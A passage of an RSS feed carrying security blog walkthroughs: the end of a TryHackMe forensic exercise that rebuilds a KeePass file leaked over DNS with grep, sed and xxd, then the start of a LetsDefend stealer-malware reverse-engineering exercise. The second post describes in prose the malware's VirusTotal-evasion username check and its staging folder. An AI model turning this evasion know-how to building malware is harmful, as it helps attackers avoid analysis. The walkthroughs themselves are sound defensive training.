https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/45789bf2401f8612437274c1294d18ca_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, now we need to figure out how to reassemble this data. We’re going to move it out of &lt;em&gt;Wireshark&lt;/em&gt; so we’ll first export this data by selecting all the filtered packets and pressing &lt;em&gt;File&lt;/em&gt; &amp;gt; &lt;em&gt;Export Packet Dissections&lt;/em&gt; &amp;gt; &lt;em&gt;As Plain Text&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of this walkthrough, my output file is called &lt;em&gt;AQuery.txt&lt;/em&gt;. When we open &lt;em&gt;AQuery.txt&lt;/em&gt; in a text editor, it looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1ff3b68c3eb9d4e180d63b145fcca368_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;566px&#34; data-flex-grow=&#34;235&#34; height=&#34;339&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/1ff3b68c3eb9d4e180d63b145fcca368_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While helpful, we still need to clean up this data to carve out only the &lt;em&gt;Hex encoded strings&lt;/em&gt; that we need. I’m certain there is a better way to do this (alluded to in the question hint) but my approach is to try to transform this data from within the terminal.&lt;/p&gt;&#xA;&lt;p&gt;To save you some time, I freely admit that there was a lot of stumbling, trial and error, and time spent researching with &lt;em&gt;Google&lt;/em&gt; and &lt;em&gt;Microsoft Copilot&lt;/em&gt; to come up with command using &lt;em&gt;grep&lt;/em&gt; and &lt;em&gt;sed&lt;/em&gt; that would work to clean up the data, until at long last, I landed on the below version:&lt;/p&gt;&#xA;&lt;p&gt;grep -Eo &amp;lsquo;[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}&amp;rsquo; AQuery.txt | sed &amp;rsquo;s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//&amp;rsquo; | uniq | tr -d &#39;&#xA;&#39;&lt;/p&gt;&#xA;&lt;p&gt;Here’s the long story short(ish) — The &lt;em&gt;grep&lt;/em&gt; command is performing some pattern matching to display only the &lt;em&gt;Hex&lt;/em&gt; strings followed by a “&lt;em&gt;domain.tld&lt;/em&gt;” and trailing text from our &lt;em&gt;Wireshark&lt;/em&gt; output file. Then, &lt;em&gt;sed&lt;/em&gt; removes the domain and any trailing text, removes duplicate entries, and concatenates the results into a single line without any delimiters so it’s a long, single line combining all the &lt;em&gt;Hex strings&lt;/em&gt; we found being sent to the &lt;em&gt;C2&lt;/em&gt; domain.&lt;/p&gt;&#xA;&lt;p&gt;But now that we have the required data, we still need to output the file so that we can convert it from &lt;em&gt;Hex&lt;/em&gt; into a working database file.&lt;/p&gt;&#xA;&lt;p&gt;grep -Eo &amp;lsquo;[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}&amp;rsquo; AQuery.txt | sed &amp;rsquo;s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//&amp;rsquo; | uniq | tr -d &#39;&#xA;&amp;rsquo; &amp;gt; hexdump.txt&lt;/p&gt;&#xA;&lt;p&gt;We’re almost there! Now we’ll convert the &lt;em&gt;Hex&lt;/em&gt; data to ASCII and save the database as a new output. We’ll achieve this by processing it with &lt;strong&gt;&lt;em&gt;xxd&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://linux.die.net/man/1/xxd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;xxd&lt;/em&gt; creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. Like &lt;strong&gt;&lt;em&gt;uuencode&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;(1)&lt;/em&gt; and &lt;strong&gt;&lt;em&gt;uudecode&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;(1)&lt;/em&gt; it allows the transmission of binary data in a ‘mail-safe’ ASCII representation, but has the advantage of decoding to standard output. Moreover, it can be used to perform binary file patching.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;xxd -r -p hexdump.txt &amp;gt; database.kdbx&lt;/p&gt;&#xA;&lt;p&gt;Finally, we can open the reassembled &lt;em&gt;KDBX&lt;/em&gt; file! The &lt;em&gt;TryHackMe&lt;/em&gt; analysis environment already has the correct application to open this file type and it should automatically be associated.&lt;/p&gt;&#xA;&lt;p&gt;Once it opens, we are prompted for the &lt;em&gt;Master Password&lt;/em&gt; that we recovered in the previous question. Inputting the password unlocks the database and allows us to retrieve the credit card number that the victim stored in their password manager which is now in the hands of the adversary! Time to call the bank, indeed!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;41afe7a3180415dfd63e4e1b172d33f9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;456px&#34; data-flex-grow=&#34;190&#34; height=&#34;421&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/41afe7a3180415dfd63e4e1b172d33f9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and input the victim’s credit card number and let’s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c2947b21cd1df2dc7b368ac34e6de66_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/3c2947b21cd1df2dc7b368ac34e6de66_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished — We have completed our frighteningly fun investigation of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 1&lt;/strong&gt;&lt;/a&gt;! Using our forensic skills, we learned how the &lt;em&gt;Boogeyman&lt;/em&gt; infected the victim’s device with a malicious attachment, collected and exfiltrated data with &lt;em&gt;PowerShell&lt;/em&gt; and &lt;em&gt;DNS&lt;/em&gt;, and stole credit card data stored in &lt;em&gt;KeePass.&lt;/em&gt; Now, let’s wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the seriously fun challenge! I was really impressed with the dimensions of this room as it had three different scopes and a complete narrative. The detail and flow were much closer to a real-world simulation exercise than others I have completed. The escalating difficulty was also really engaging as it started out easy and ramped up as the room went on. This really pushed me out of my comfort zone and forced creativity when it came to the later steps of the &lt;em&gt;Networking Traffic Analysis&lt;/em&gt;. I was also excited to have the opportunity to get some hands-on time with &lt;em&gt;JQ&lt;/em&gt; as I was familiar with the name but had not encountered it before.&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Until the &lt;em&gt;Boogeyman&lt;/em&gt; returns, stay safe! If you want to continue battling the &lt;em&gt;Boogeyman,&lt;/em&gt; be sure to check out my walkthrough of the &lt;strong&gt;Boogeyman 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Boogeyman 2 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Mailtraip.io Email Headers List:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mailtrap.io/blog/email-headers/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;LnkParse3:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/Matmaus/LnkParse3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/Matmaus/LnkParse3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JQ:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://jqlang.github.io/jq/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://jqlang.github.io/jq/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Script Block:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_script_blocks?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_script_blocks?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (WebClient Class):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Invoke-WebRequest):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia DNS Types:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_DNS_record_types&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;List of DNS record types — Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Linux Man Pages (XXD):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://linux.die.net/man/1/xxd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://linux.die.net/man/1/xxd&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Serpent Stealer Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/</link>
            <pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/bb6f90b69706d1d0d97098e250137449_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Serpent Stealer Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--serpent-stealer-challenge-walkthrough&#34;&gt;LetsDefend — Serpent Stealer Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-the-serpent-stealer-malware-with-die-dotpeek-and-mitreattck&#34;&gt;Analyzing the Serpent Stealer Malware with DIE, dotPeek, and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/bb6f90b69706d1d0d97098e250137449_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/serpent-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to reverse engineer an info stealer malware sample, see how it works, and determine its capabilities to impact a victim? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough where we are going to cover the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Serpent Stealer&lt;/strong&gt;&lt;/a&gt; Challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This is a medium-difficulty malware reverse engineering challenge where we&amp;rsquo;ll be using &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/decompiler/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;JetBrains dotPeek&lt;/em&gt;&lt;/a&gt; to analyze the provided information stealer malware sample. By digging into this malware&amp;rsquo;s code, we&amp;rsquo;ll determine its capabilities, how it evades detection, and what data it targets — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;Although malware reverse engineering isn&amp;rsquo;t my strongest skill, I recently tackled a similar challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; so as the old saying goes, practice makes perfect! We might stumble along the way through this one, but we&amp;rsquo;ll adapt and learn some new tricks together.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend — DLL Stealer Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s grab our shovels and have some fun digging through this malware. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/serpent-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Located in the heart of the financial district, a leading multinational company was hit by a sophisticated data theft. Over several months, confidential customer data, proprietary software, and sensitive financial information were stolen. The company&amp;rsquo;s cybersecurity team recently discovered that a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;stealer&amp;quot;&#xA;malware was responsible for the breach. They are analyzing the stealer and trying to protect the company from future attacks.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-for-themalware&#34;&gt;Question 1: What is the md5 hash for the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the &lt;em&gt;Challenge File&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;In the meantime, it&amp;rsquo;s also a good idea to get familiar with the provided tools so that we have some idea of what&amp;rsquo;s available to tackle the challenge. Let&amp;rsquo;s review the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop. Right away, we&amp;rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.&lt;/p&gt;&#xA;&lt;p&gt;But for our first task, we simply need to get the &lt;em&gt;MD5 file hash&lt;/em&gt; of the sample so that we can start learning about this stealer malware. There are a couple of ways we can approach this, but for this walkthrough I am going to just use &lt;em&gt;PowerShell —&lt;/em&gt; if you have another method you like, go for it! The important thing is that we get the &lt;em&gt;MD5 hash:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Get-FileHash -Algorithm MD5 .\sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1680px&#34; data-flex-grow=&#34;700&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4c8f2a4a271e50e97b1eea4d6c584cc1_MD5.png&#34; width=&#34;595&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the file hash of this sample, we can answer &lt;strong&gt;Question 1&lt;/strong&gt;! But for some additional intelligence, why don&amp;rsquo;t we also check this hash against &lt;em&gt;VirusTotal&lt;/em&gt; to see if there are any hits?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  title=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;932px&#34; data-flex-grow=&#34;388&#34; height=&#34;206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/ad42f9ad69c7c5a30b7f99fc3073caea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;All right, this is a well-known malware sample which might be helpful later in our investigation. For now, let&amp;rsquo;s keep going and see what else we can uncover.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/8304099f0c14f9acb5d8333a1a769276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-list-the-malware-uses-to-evade-detection-by-the-virustotal-check&#34;&gt;Question 2: What is the name of the list the malware uses to evade detection by the VirusTotal check?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2,&lt;/strong&gt; we need to first figure out the best tool to use to analyze the malware. But before we do that, we need to understand what type of file the sample is. To do this, let&amp;rsquo;s gather some information using &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detect It Easy&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(DIE)&lt;/em&gt; which is a utility that can be used to determine the file type of an application.&lt;/p&gt;&#xA;&lt;p&gt;To put this into practice, let&amp;rsquo;s point &lt;em&gt;DIE&lt;/em&gt; to the path of the _c_hallenge&amp;rsquo;s malware sample:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;532&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/9fa80f8feaa7d83d87aa3259f2a6068d_MD5.png&#34; width=&#34;718&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we will see that the sample binary is a .NET portable executable (PE32). Since we now know that it is a .NET binary, we can select the right tool to disassemble the executable and start to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I hinted at in the introduction, we&amp;rsquo;re going to leverage &lt;em&gt;JetBrains dotPeek&lt;/em&gt; which is already installed on the &lt;em&gt;LetsDefend VM&lt;/em&gt; we&amp;rsquo;re using.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;  title=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get started | dotPeek&lt;/strong&gt;&#xA;_dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for&amp;hellip;_www.jetbrains.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s jump into &lt;em&gt;dotPeek&lt;/em&gt; and start to analyze the malware. To do this, open the &lt;em&gt;Challenge File&lt;/em&gt; folder, right-click the extracted sample, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open With &amp;gt; &lt;em&gt;JetBrains dotPeek&lt;/em&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This will launch &lt;em&gt;dotPeek&lt;/em&gt; and load the challenge file. Don&amp;rsquo;t worry, it will take a few minutes to load the &lt;em&gt;assembly explorer,&lt;/em&gt; but when it does, expand the node called &lt;em&gt;Serpent.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll see that the assembly objects contained within &lt;em&gt;Serpent&lt;/em&gt; are both organized and non-obfuscated which is going to speed up our analysis. Since we are looking for a defense evasion technique, let&amp;rsquo;s try expanding the &lt;em&gt;Evasion&lt;/em&gt; object and focus on the &lt;em&gt;AntiVT&lt;/em&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;547&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/d75784b84ee1b61afaed4a683b068fd2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal evasion list.&lt;/p&gt;&#xA;&lt;p&gt;Here we see that the malware does an environment check (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1497.001&lt;/em&gt;&lt;/a&gt;) to detect if it is being analyzed on &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; by comparing the user name of the victim&amp;rsquo;s system to a stored list containing common user names used by &lt;em&gt;VirusTotal&lt;/em&gt; during analysis. If any of the strings match, the malware sleeps and exits to avoid further detection.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4cd0f99c3ae07c86c352de290d89a712_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Circling back to the objective, the name of the list containing these strings is what we&amp;rsquo;ll need to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/cdef7bd4177415a58bfe19e9752a255a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-folder-that-was-used-by-the-malware-to-collect-the-password-onit&#34;&gt;Question 3: What is the name of the folder that was used by the malware to collect the password on it?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s expand the modules object and expand the conveniently labelled &lt;em&gt;PasswordStealer&lt;/em&gt; method. To answer &lt;strong&gt;Question 3,&lt;/strong&gt; we will focus on the &lt;em&gt;Run&lt;/em&gt; method within the &lt;em&gt;PasswordStealer:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/302e21fc958d38188d0f288f08bad661_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking closely at this method, we&amp;rsquo;ll discover that the malware creates a centralized folder called &amp;quot; # &amp;ldquo;serpent&amp;quot;in the temporary directory of the victim&amp;rsquo;s system for staging the data it collects &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1074.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 